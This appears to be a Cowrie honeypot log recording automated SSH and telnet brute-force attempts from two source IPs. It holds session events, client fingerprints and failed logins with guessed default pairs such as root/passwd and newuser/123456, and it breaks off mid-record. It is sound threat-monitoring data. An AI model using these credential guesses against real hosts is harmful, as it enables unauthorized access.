{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53362,"dst_ip":"159.203.135.109","dst_port":22,"session":"541d783706e6","protocol":"ssh","message":"New connection: 45.156.87.204:53362 (159.203.135.109:22) [session: 541d783706e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:23.538944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:23.543736Z","src_ip":"45.156.87.204","session":"541d783706e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:23.625576Z","src_ip":"45.156.87.204","session":"541d783706e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33436,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd1af98c9077","protocol":"telnet","message":"New connection: 152.42.224.71:33436 (10.17.0.5:23) [session: bd1af98c9077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:23.734857Z"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:23.875126Z","src_ip":"45.156.87.204","session":"541d783706e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:24.975500Z","src_ip":"45.156.87.204","session":"541d783706e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53366,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf171b32573f","protocol":"ssh","message":"New connection: 45.156.87.204:53366 (159.203.135.109:22) [session: bf171b32573f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:27.244447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:27.249517Z","src_ip":"45.156.87.204","session":"bf171b32573f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:27.332074Z","src_ip":"45.156.87.204","session":"bf171b32573f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:27.579777Z","src_ip":"45.156.87.204","session":"bf171b32573f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:28.664928Z","src_ip":"45.156.87.204","session":"bf171b32573f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52800,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bc0ecd7518a","protocol":"telnet","message":"New connection: 152.42.224.71:52800 (10.17.0.5:23) [session: 7bc0ecd7518a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:28.899120Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53368,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bdcf51505f7","protocol":"ssh","message":"New connection: 45.156.87.204:53368 (159.203.135.109:22) [session: 7bdcf51505f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:30.771724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:30.776453Z","src_ip":"45.156.87.204","session":"7bdcf51505f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:30.863476Z","src_ip":"45.156.87.204","session":"7bdcf51505f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:31.117366Z","src_ip":"45.156.87.204","session":"7bdcf51505f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.559940814971924,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:31.266975Z","src_ip":"152.42.224.71","session":"04f2810db52c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:32.202853Z","src_ip":"45.156.87.204","session":"7bdcf51505f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.38587832450867,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:32.954523Z","src_ip":"152.42.224.71","session":"265f6760c455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42168,"dst_ip":"159.203.135.109","dst_port":22,"session":"2db1f5f21c98","protocol":"ssh","message":"New connection: 45.156.87.204:42168 (159.203.135.109:22) [session: 2db1f5f21c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:34.735955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:34.740836Z","src_ip":"45.156.87.204","session":"2db1f5f21c98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:34.823671Z","src_ip":"45.156.87.204","session":"2db1f5f21c98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:35.070612Z","src_ip":"45.156.87.204","session":"2db1f5f21c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:36.156552Z","src_ip":"45.156.87.204","session":"2db1f5f21c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42186,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b28bddc9985","protocol":"ssh","message":"New connection: 45.156.87.204:42186 (159.203.135.109:22) [session: 6b28bddc9985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:38.360449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:38.365479Z","src_ip":"45.156.87.204","session":"6b28bddc9985","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:38.448065Z","src_ip":"45.156.87.204","session":"6b28bddc9985","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:38.697259Z","src_ip":"45.156.87.204","session":"6b28bddc9985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:39.783592Z","src_ip":"45.156.87.204","session":"6b28bddc9985","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.50264286994934,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:41.691854Z","src_ip":"152.42.224.71","session":"e40320038819","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42214,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8cf2a759564","protocol":"ssh","message":"New connection: 45.156.87.204:42214 (159.203.135.109:22) [session: d8cf2a759564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:42.197922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:42.202914Z","src_ip":"45.156.87.204","session":"d8cf2a759564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:42.285110Z","src_ip":"45.156.87.204","session":"d8cf2a759564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:42.534400Z","src_ip":"45.156.87.204","session":"d8cf2a759564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:43.619084Z","src_ip":"45.156.87.204","session":"d8cf2a759564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53566,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd8e09e0895f","protocol":"ssh","message":"New connection: 45.156.87.204:53566 (159.203.135.109:22) [session: cd8e09e0895f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:45.786783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:45.791898Z","src_ip":"45.156.87.204","session":"cd8e09e0895f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:45.874816Z","src_ip":"45.156.87.204","session":"cd8e09e0895f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:46.123379Z","src_ip":"45.156.87.204","session":"cd8e09e0895f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:47.208708Z","src_ip":"45.156.87.204","session":"cd8e09e0895f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.054505825042725,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:47.249484Z","src_ip":"152.42.224.71","session":"91b4b16e1575","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.631290674209595,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:48.562342Z","src_ip":"152.42.224.71","session":"e01745da0194","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53728,"dst_ip":"10.17.0.5","dst_port":23,"session":"77dcfa233fa4","protocol":"telnet","message":"New connection: 152.42.224.71:53728 (10.17.0.5:23) [session: 77dcfa233fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:49.169924Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53576,"dst_ip":"159.203.135.109","dst_port":22,"session":"84cf084f27d6","protocol":"ssh","message":"New connection: 45.156.87.204:53576 (159.203.135.109:22) [session: 84cf084f27d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:49.602430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:49.607650Z","src_ip":"45.156.87.204","session":"84cf084f27d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 